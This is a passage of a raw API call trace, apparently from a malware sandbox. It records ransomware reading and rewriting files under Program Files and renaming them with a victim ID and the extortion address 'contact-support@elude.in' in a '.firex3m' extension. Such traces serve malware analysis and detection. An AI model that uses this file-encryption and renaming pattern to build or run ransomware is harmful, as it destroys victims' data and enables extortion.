0x7318670 [0235.576] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.576] WriteFile (in: hFile=0x6d0, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x45bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.576] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.576] WriteFile (in: hFile=0x6d0, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.576] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.576] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.576] CloseHandle (hObject=0x6d0) returned 1 [0235.576] GetProcessHeap () returned 0x630000 [0235.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.576] GetProcessHeap () returned 0x630000 [0235.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.577] GetProcessHeap () returned 0x630000 [0235.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0235.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x525de724, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x45bfd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.577] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.577] Sleep (dwMilliseconds=0x1) [0235.605] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html", len=0x6f | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html") returned 1 [0235.605] GetProcessHeap () returned 0x630000 [0235.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fec) returned 0x6fe3bb0 [0235.605] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0235.640] CloseHandle (hObject=0x414) returned 1 [0235.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.640] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d53c0 [0235.744] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.744] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0235.745] GetProcessHeap () returned 0x630000 [0235.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x73a5ef0 [0235.745] GetProcessHeap () returned 0x630000 [0235.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x7421008 [0235.745] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.745] ReadFile (in: hFile=0x414, lpBuffer=0x73a5ef0, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a5ef0*, lpNumberOfBytesRead=0x45bff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.913] GetProcessHeap () returned 0x630000 [0241.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0241.914] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.914] WriteFile (in: hFile=0x414, lpBuffer=0x7421008*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7421008*, lpNumberOfBytesWritten=0x45bff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.914] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.914] WriteFile (in: hFile=0x414, lpBuffer=0x742a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x742a067*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.914] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.914] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.914] CloseHandle (hObject=0x414) returned 1 [0241.914] GetProcessHeap () returned 0x630000 [0241.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7421008 | out: hHeap=0x630000) returned 1 [0241.914] GetProcessHeap () returned 0x630000 [0241.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a5ef0 | out: hHeap=0x630000) returned 1 [0241.915] GetProcessHeap () returned 0x630000 [0241.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.186] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5623eb6e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xb747496, dwReserved1=0x73a5ee8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5500 [0243.187] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0243.187] Sleep (dwMilliseconds=0x1) [0243.192] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hollow.png", len=0x73 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hollow.png") returned 1 [0243.192] GetProcessHeap () returned 0x630000 [0243.192] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52d8) returned 0x6fe3bb0 [0243.192] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Hollow.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_hollow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.207] Sleep (dwMilliseconds=0x1) [0243.246] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png", len=0x73 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png") returned 1 [0243.247] GetProcessHeap () returned 0x630000 [0243.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5230) returned 0x6fe3bb0 [0243.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadicon_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.256] Sleep (dwMilliseconds=0x1) [0243.284] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval.png", len=0x6e | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval.png") returned 1 [0243.284] GetProcessHeap () returned 0x630000 [0243.284] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51bc) returned 0x6fe3bb0 [0243.285] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Oval.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\oval.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.294] Sleep (dwMilliseconds=0x1) [0243.306] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron_icon.png", len=0x76 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron_icon.png") returned 1 [0243.306] GetProcessHeap () returned 0x630000 [0243.306] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5178) returned 0x6fe3bb0 [0243.306] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Chevron_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\chevron_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.317] Sleep (dwMilliseconds=0x1) [0243.341] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400.png", len=0x6e | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400.png") returned 1 [0243.341] GetProcessHeap () returned 0x630000 [0243.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x511c) returned 0x6fe3bb0 [0243.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.341] Sleep (dwMilliseconds=0x1) [0243.351] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-white.png", len=0x7b | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-white.png") returned 1 [0243.351] GetProcessHeap () returned 0x630000 [0243.351] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50dc) returned 0x6fe3bb0 [0243.351] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.351] Sleep (dwMilliseconds=0x1) [0243.366] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-white.png", len=0x81 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-white.png") returned 1 [0243.366] GetProcessHeap () returned 0x630000 [0243.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a0) returned 0x6fe3bb0 [0243.366] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.366] Sleep (dwMilliseconds=0x1) [0243.398] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-black.png", len=0x7d | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-black.png") returned 1 [0243.398] GetProcessHeap () returned 0x630000 [0243.398] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5048) returned 0x6fe3bb0 [0243.398] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-125_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-125_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.398] Sleep (dwMilliseconds=0x1) [0243.413] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_altform-unplated.png", len=0x81 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_altform-unplated.png") returned 1 [0243.413] GetProcessHeap () returned 0x630000 [0243.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x500c) returned 0x6fe3bb0 [0243.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-72_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.413] Sleep (dwMilliseconds=0x1) [0243.428] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-black.png", len=0x7f | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-black.png") returned 1 [0243.428] GetProcessHeap () returned 0x630000 [0243.428] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd0) returned 0x6fe3bb0 [0243.428] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-40_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.428] Sleep (dwMilliseconds=0x1) [0243.445] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-white.png", len=0x80 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-white.png") returned 1 [0243.445] GetProcessHeap () returned 0x630000 [0243.445] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f94) returned 0x6fe3bb0 [0243.445] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-256_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.445] Sleep (dwMilliseconds=0x1) [0243.504] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16.png", len=0x70 | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16.png") returned 1 [0243.504] GetProcessHeap () returned 0x630000 [0243.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f58) returned 0x6fe3bb0 [0243.504] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.504] Sleep (dwMilliseconds=0x1) [0243.524] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\viewers_icon.png", len=0x6a | out: pbstr=0x45bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\viewers_icon.png") returned 1 [0243.524] GetProcessHeap () returned 0x630000 [0243.524] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4efc) returned 0x6fe3bb0 [0243.525] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\viewers_icon.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\viewers_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.526] Sleep (dwMilliseconds=0x1) [0243.549] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl") returned 1 [0243.549] GetProcessHeap () returned 0x630000 [0243.549] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed0) returned 0x6fe3bb0 [0243.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0243.568] CloseHandle (hObject=0x678) returned 1 [0243.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" 